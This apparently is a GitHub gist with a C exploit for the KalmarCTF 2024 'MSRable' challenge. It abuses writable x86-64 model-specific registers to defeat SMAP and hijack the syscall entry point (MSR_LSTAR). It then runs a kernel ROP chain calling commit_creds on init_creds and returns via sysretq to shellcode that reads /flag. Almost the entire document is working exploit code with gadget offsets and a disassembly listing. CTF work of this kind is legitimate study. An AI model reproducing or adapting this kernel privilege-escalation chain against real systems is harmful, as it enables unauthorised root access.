Skip to content

Instantly share code, notes, and snippets.

@disconnect3d
Created April 18, 2024 13:00
Show Gist options
  • Save disconnect3d/4fa1972f5b3148bf17995406490c0e70 to your computer and use it in GitHub Desktop.
Save disconnect3d/4fa1972f5b3148bf17995406490c0e70 to your computer and use it in GitHub Desktop.
MSRable CTF chall exploit from KalmarCTF2024; PoC of writing/reading to/from MSRs on x86/64
#include <stdio.h>
#include <sys/mman.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
void breakpoint() {}
#define R(x) printf("%30s => %#lx\n", #x, read_msr(fd, (x)))
/* x86-64 specific MSRs */
#define MSR_EFER 0xc0000080 /* extended feature register */
#define MSR_STAR 0xc0000081 /* legacy mode SYSCALL target */
#define MSR_LSTAR 0xc0000082 /* long mode SYSCALL target */
#define MSR_CSTAR 0xc0000083 /* compat mode SYSCALL target */
#define MSR_SYSCALL_MASK 0xc0000084 /* EFLAGS mask for syscall */
#define MSR_FS_BASE 0xc0000100 /* 64bit FS base */
#define MSR_GS_BASE 0xc0000101 /* 64bit GS base */
#define MSR_KERNEL_GS_BASE 0xc0000102 /* SwapGS GS shadow */
#define MSR_TSC_AUX 0xc0000103 /* Auxiliary TSC */
#define IA32_SYSENTER_ESP 0x175
#define IA32_SYSENTER_EIP 0x176
#define MSR_IA32_U_CET 0x000006a0 /* user mode cet */
#define MSR_IA32_S_CET 0x000006a2 /* kernel mode cet */
#define MSR_IA32_PL0_SSP 0x000006a4 /* ring-0 shadow stack pointer */
#define MSR_IA32_PL1_SSP 0x000006a5 /* ring-1 shadow stack pointer */
#define MSR_IA32_PL2_SSP 0x000006a6 /* ring-2 shadow stack pointer */
#define MSR_IA32_PL3_SSP 0x000006a7 /* ring-3 shadow stack pointer */
#define MSR_IA32_INT_SSP_TAB 0x000006a8 /* exception shadow stack table */
uint64_t globrsp[0x400] = {0};
uint32_t argv[3];
uint32_t envp[2];
__attribute__((naked))
void fire() {
asm("mov %[globrsp], %%rsp; "
:: [globrsp] "r" (&globrsp[0x200])
);
asm(
/* Save destination */
".intel_syntax; "
"mov %rdi, 1; "
/* push '/flag\x00' */
"mov %rax, 0x67616c662f; push %rax;"
/* call open('esp', 'O_RDONLY') */
"mov %eax, 5; "
"mov %ebx, %esp; "
"xor %ecx, %ecx; "
"int 0x80; "
/* Save file descriptor for later */
"mov %ebp, %eax; "
/* call fstat('eax', 'esp') */
"mov %ebx, %eax; "
//push SYS_fstat /* 0x6c */
//pop eax
"mov %eax, 0x6c; "
"mov %ecx, %esp; "
"int 0x80; "
/* Get file size */
"add %esp, 20; "
"mov %esi, [%esp]; "
/* call sendfile('edi', 'ebp', 0, 'esi') */
//"xor eax, eax; "
//"mov al, 0xbb; "
"mov %eax, 0xbb; "
"mov %ebx, %edi; "
"mov %ecx, %ebp; "
"cdq; " /* edx=0 */
"int 0x80; "
".att_syntax; "
);
// puts("Executing flag?");
/*
argv[0] = (uint32_t)"/bin/cat";
argv[1] = (uint32_t)"/flag";
argv[2] = 0;
envp[0] = 0;
envp[1] = 0;
/* char* argv[] = {"/bin/cat", "/flag", 0};
char* envp[] = {0, 0, 0};
asm("mov 11, %%eax; "
"mov %[rdi], %%edi; "
"mov %[rsi], %%esi; "
"mov 0, %%edx; "
"int 0x80; "
:: [rdi] "r" (argv[0]), [rsi] "r" ((uint32_t)argv) );
*/
/*
__asm__("\
.intel_syntax; \
movq %rax, 0x1DEADBEEF; \
movq %rbx, 0x2DEADBEEF;\
movq %rcx, 0x3DEADBEEF;\
movq %rdx, 0x4DEADBEEF;\
movq %r8, 0x5DEADBEEF;\
movq %r9, 0x6DEADBEEF;\
movq %r10, 0x7DEADBEEF;\
movq %r11, 0x8DEADBEEF;\
movq %r12, 0x9DEADBEEF;\
movq %r13, 0xADEADBEEF;\
movq %r14, 0xBDEADBEEF;\
movq %r15, 0xCDEADBEEF;\
syscall;\
.att_syntax;\
");*/
}
uint64_t read_msr(int fd, off_t msr_reg) {
lseek(fd, msr_reg, SEEK_SET);
uint64_t val = {0};
ssize_t n = read(fd, &val, 8);
/* if (n != 8)
printf("read msr failed? n=%ld\n", n);*/
return val;
}
void write_msr(int fd, off_t msr_reg, uint64_t val) {
lseek(fd, msr_reg, SEEK_SET);
write(fd, &val, 8);
/*
ssize_t n = write(fd, &val, 8);
if (n != 8)
printf("write msr failed? n=%ld\n", n);*/
}
// Found MSRs
#define MSR_entry_SYSENTER_compat 0x176
int main() {
int fd = open("/dev/cpu/0/msr", O_RDWR);
//if (fd<0) return 1;
/*
R(MSR_EFER);
R(MSR_STAR);
R(MSR_LSTAR);
R(MSR_CSTAR);
R(MSR_SYSCALL_MASK);
R(MSR_FS_BASE);
R(MSR_GS_BASE);
R(MSR_KERNEL_GS_BASE);
R(MSR_TSC_AUX);
R(MSR_IA32_U_CET);
R(MSR_IA32_S_CET);
R(MSR_IA32_PL0_SSP);
R(MSR_IA32_PL1_SSP);
R(MSR_IA32_PL2_SSP);
R(MSR_IA32_PL3_SSP);
R(MSR_IA32_INT_SSP_TAB);
*/
/*
//Doing this kills kernel
uint64_t efer = read_msr(fd, MSR_EFER);
// MSR_EFER is 0xd01
// disable 11th bit which is:
// eXecute-Disable bit in paging structures (1=enabled, 0=disabled)
efer = efer & (~(1<<11));
write_msr(fd, MSR_LSTAR, efer);
printf("Disabled eX-disable in paging structs in EFER\n");
R(MSR_EFER);
*/
uint64_t msr_lstar = read_msr(fd, MSR_LSTAR);
uint64_t kernel_base = msr_lstar - 0x40;
//printf("kernel base (?) = %p\n", kernel_base);
uint64_t kernel_ret = kernel_base+0x1d2;
uint64_t* kernel_shellcode = mmap(0, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
uint64_t* kernel_rop2 = mmap(0, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
uint64_t* kernel_rwx = mmap(0, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
/*
printf("kernel rop=%p\n", kernel_shellcode);
printf("kernel rop2=%p\n", kernel_rop2);
printf("kernel rwx=%p\n", kernel_rwx);
kernel_rwx[0] = 0xfeeb;*/
// set AC flag in EEFLAGS
// https://www.felixcloutier.com/x86/stac
// This allows us to bypass SMAP!!!:
// This allows explicit supervisor-mode data accesses to user-mode pages even if the SMAP bit is set in the CR4 register
uint64_t syscall_mask = read_msr(fd, MSR_SYSCALL_MASK);
//printf("MSR_SYSCALL_MASK = %#lx\n", syscall_mask);
syscall_mask &= ~(1 << 18); // set AC bit, see
write_msr(fd, MSR_SYSCALL_MASK, syscall_mask);
/*
printf("new MSR_SYSCALL_MASK = %#lx\n", syscall_mask);
printf("kernel ret addr=%p\n", kernel_ret);
printf("kernel wannabe rsp=%p\n", kernel_shellcode);
*/
printf("breakpoint addr=%p\n", breakpoint);
/*
uint64_t rax = kernel_shellcode+(0x500/8)+10;
uint64_t rcx = kernel_shellcode+(0x500/8)+20;
// Execute "STAC" to set EEFLAGS AC bit
//stac;
asm("movq %[aa], %%rax\n\t"
"movq %[bb], %%rcx\n\t"
:: [aa] "r" (rax), [bb] "r" (rcx));
*/
uint64_t newcr3 = 0x186f000-0x1000;
// uint64_t newcr3 = 0x18c9000-0x1000;
uint64_t *k = kernel_rop2;
*k++ = 0xDEADBEEF; // FILLED BY CODE
*k++ = newcr3+0x1000;
*k++ = kernel_base + 0x000000000000175d; // mov cr3, rax; jmp
*k++ = main;
uint64_t* xxx = ((uint64_t)kernel_rop2)-0x1000+8;
uint64_t sysretq = kernel_base + 0x800178;
uint64_t set_cr4_gadget = kernel_base - 0x800000 + 0x00000000000480a6; // : mov cr4, rax ; jmp 0x480ab
uint64_t poprax = kernel_base - 0x800000 + 0x00000000001c4408; // : pop rax ; or dh, dh ; ret
uint64_t *newrsp = kernel_shellcode;
newrsp += 0x100;
uint64_t* p = newrsp;
// done indicator in swap_pages
// https://elixir.bootlin.com/linux/v6.7.5/source/arch/x86/kernel/relocate_kernel_64.S#L173
uint64_t rbx = 4;
*p++ = kernel_base + 0x000000000000175d; // mov cr3, rax; jmp
*p++ = kernel_base - 0x800000 + 0x0000000000001a28; // : pop rdi ; ret
*p++ = kernel_base + 0x644860; // init_creds // struct
*p++ = kernel_base - 0x774fe0; // commit_creds
//*p++ = kernel_base - 0x800000 + 0x00000000001ebfac; // : pop rcx ; ret
// Address in user space when we want to return from syscall
//*p++ = &fire;
// Address in user space when we want to return from syscall
*p++ = kernel_base - 0x800000 + 0x00000000000c80fe; // : pop r11 ; ret
*p++ = 0x2;
/*
0xffffffff9640011b <syscall_return_via_sysret+45>: pop rcx
0xffffffff9640011c <syscall_return_via_sysret+46>: pop rdx
0xffffffff9640011d <syscall_return_via_sysret+47>: pop rsi
0xffffffff9640011e <syscall_return_via_sysret+48>: mov rdi,rsp
0xffffffff96400121 <syscall_return_via_sysret+51>: mov rsp,QWORD PTR ds:0xffffffff96a0c004
0xffffffff96400129 <syscall_return_via_sysret+59>: push QWORD PTR [rdi+0x28]
0xffffffff9640012c <syscall_return_via_sysret+62>: push QWORD PTR [rdi]
0xffffffff9640012e <syscall_return_via_sysret+64>: push rax
0xffffffff9640012f <syscall_return_via_sysret+65>: xchg ax,ax
0xffffffff96400131 <syscall_return_via_sysret+67>: mov rdi,cr3
0xffffffff96400134 <syscall_return_via_sysret+70>: jmp 0xffffffff96400168 <syscall_return_via_sysret+122>
0xffffffff96400136 <syscall_return_via_sysret+72>: mov rax,rdi
0xffffffff96400139 <syscall_return_via_sysret+75>: and rdi,0x7ff
0xffffffff96400140 <syscall_return_via_sysret+82>: bt QWORD PTR ds:0xffffffff96bb8356,rdi
0xffffffff96400149 <syscall_return_via_sysret+91>: jae 0xffffffff96400159 <syscall_return_via_sysret+107>
0xffffffff9640014b <syscall_return_via_sysret+93>: btr QWORD PTR ds:0xffffffff96bb8356,rdi
0xffffffff96400154 <syscall_return_via_sysret+102>: mov rdi,rax
0xffffffff96400157 <syscall_return_via_sysret+105>: jmp 0xffffffff96400161 <syscall_return_via_sysret+115>
0xffffffff96400159 <syscall_return_via_sysret+107>: mov rdi,rax
0xffffffff9640015c <syscall_return_via_sysret+110>: bts rdi,0x3f
0xffffffff96400161 <syscall_return_via_sysret+115>: or rdi,0x800
0xffffffff96400168 <syscall_return_via_sysret+122>: or rdi,0x1000
0xffffffff9640016f <syscall_return_via_sysret+129>: mov cr3,rdi
0xffffffff96400172 <syscall_return_via_sysret+132>: pop rax
0xffffffff96400173 <syscall_return_via_sysret+133>: pop rdi
0xffffffff96400174 <syscall_return_via_sysret+134>: pop rsp
0xffffffff96400175 <entry_SYSRETQ_unsafe_stack>: swapgs
0xffffffff96400178 <entry_SYSRETQ_unsafe_stack+3>: sysretq
*/
*p++ = kernel_base + 0x11b;
*p++ = &fire; // rcx
*p++ = 0x61616161 ; // rdx
*p++ = 0x62626262 ; // rsi
*p++ = 0x63636363; // rax
*p++ = 0x64646464; // rdi
*p++ = kernel_rop2+4; // rsp
*p++ = kernel_base + 0x178; // sysretqq
getchar();
write_msr(fd, MSR_LSTAR, kernel_ret);
breakpoint();
asm(".intel_syntax; \
pushf; \
or dword ptr [%rsp], 0x40000; \
popf; .att_syntax; ");
asm("mov %[newcr3], %%rax; "
"mov %[newcr3], %%r9; "
"mov %[newrsp], %%rsp; "
"syscall; "
:: [newcr3] "r" (newcr3), [newrsp] "r" (newrsp)
);
/*
write_msr(fd, MSR_STAR, 0x41414141);
write_msr(fd, MSR_LSTAR, 0x42424242);
write_msr(fd, MSR_CSTAR, 0x43434343);
*/
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment